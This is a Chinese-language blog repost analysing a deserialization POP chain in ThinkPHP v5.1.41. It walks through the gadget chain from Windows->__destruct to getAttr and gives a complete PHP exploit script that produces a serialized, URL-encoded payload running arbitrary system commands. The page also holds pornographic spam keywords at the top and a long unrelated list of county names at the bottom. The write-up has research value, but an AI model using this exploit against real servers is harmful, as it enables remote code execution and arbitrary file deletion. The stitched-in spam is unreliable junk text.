91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Thinkphp v5.1.41反序列化漏洞的分析及EXP

發布時間:2021-10-18 16:05:12 來源:億速云 閱讀:3714 作者:柒染 欄目:安全技術

Thinkphp v5.1.41反序列化漏洞的分析及EXP,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

TP5141 反序列化

# Author: 4ut15m
# Date: 2021年4月11日 22:45:46
# Version: thinkphp v5.1.41LTS
# Install: composer create-project topthink/think tp5141 5.1.41 --prefer-dist

晚上回顧tp以前反序列化漏洞的時候發現的,好像是一條新的POP鏈,沒有在網上看見其他師傅發表這條鏈

POP鏈

Windows->__destruct	-->Windows->removeFiles		-->Conversion->__toString		-->Conversion->toJson		-->Conversion->toArray		-->Attribute->getAttr


Conversion->Model
Model->Pivot

先看命令執行處,若$closure$value都可控,即可執行命令

Thinkphp v5.1.41反序列化漏洞的分析及EXP

POP鏈首和tp5.0反序列化漏洞起點一樣,Windows->__destruct

Thinkphp v5.1.41反序列化漏洞的分析及EXP

Windows->removeFiles,控制Windows->files可以刪除任意文件。

Thinkphp v5.1.41反序列化漏洞的分析及EXP

file_exists函數可觸發__toString魔術方法,找到Conversion的toString

Thinkphp v5.1.41反序列化漏洞的分析及EXP

Thinkphp v5.1.41反序列化漏洞的分析及EXP

跟進Conversion->toArray,$this->append可控

Thinkphp v5.1.41反序列化漏洞的分析及EXP

跟進getRelation,使得該方法返回null即可進入if

Thinkphp v5.1.41反序列化漏洞的分析及EXP

跟進getAttr,發現關鍵點

Thinkphp v5.1.41反序列化漏洞的分析及EXP

要使代碼執行到493行,需要設置$this->withAttr[$fileName].$closure$this->withAttr[$fileName]控制,$this->withAttr可控,$fileName由我們參數$name即我們傳入的$this->append的key控制,也是可控的。

value由getData得到

Thinkphp v5.1.41反序列化漏洞的分析及EXP

代碼第269行,如果$this->data中存在$name鍵,就將$this->data[$name]的值賦給value,$this->data與$name皆可控,故value可控

整理思路如下

Conversion->append = ["4ut15m"=>[]]
Conversion->relation = false
Conversion->withAttr = ["4ut15m"=>"system"]
Conversion->data = ["4ut15m"=>"cmd"]			//要執行的命令

因為convertion是trait類,所以只要找到一個使用了conversion的類即可,全局搜索conversion找到Model類

Thinkphp v5.1.41反序列化漏洞的分析及EXP

由于Model是抽象類,我們得找到Model的實現類,全局搜索找到Pivot

Thinkphp v5.1.41反序列化漏洞的分析及EXP

至此可以編寫exp

Windows->files = new Pivot()
Pivot->relation = false
Pivot->data = ["4ut15m"=>"cmd"]		//要執行的命令
Pivot->withAttr = ["4ut15m"=>"system"]

exp

<?php
namespace think;
abstract class Model{
    private $data = [];
    private $withAttr = [];
    protected $append = ['4ut15m'=>[]];

    public function __construct($cmd){
        $this->relation = false;
        $this->data = ['4ut15m'=>$cmd];		//任意值,value
        $this->withAttr = ['4ut15m'=>'system'];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{
}


namespace think\process\pipes;
use think\model\Pivot;
class Windows{
    private $files = [];

    public function __construct($cmd){
        $this->files = [new Pivot($cmd)];		//Conversion類
    }

}

$windows = new Windows($argv[1]);
echo urlencode(serialize($windows))."\n";


?>

在tp中加一個反序列化點

Thinkphp v5.1.41反序列化漏洞的分析及EXP

Thinkphp v5.1.41反序列化漏洞的分析及EXP

Thinkphp v5.1.41反序列化漏洞的分析及EXP

Thinkphp v5.1.41反序列化漏洞的分析及EXP

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

合山市| 铅山县| 玛多县| 宜章县| 明溪县| 喀喇沁旗| 苗栗市| 彭山县| 崇义县| 西城区| 连州市| 延庆县| 江阴市| 浪卡子县| 南和县| 金山区| 旌德县| 宁南县| 九龙县| 达孜县| 昌平区| 多伦县| 天镇县| 容城县| 洛扎县| 百色市| 玉山县| 宁城县| 晴隆县| 东莞市| 民和| 古交市| 咸阳市| 丰都县| 富裕县| 平安县| 嘉定区| 米脂县| 孝义市| 桐柏县| 延安市|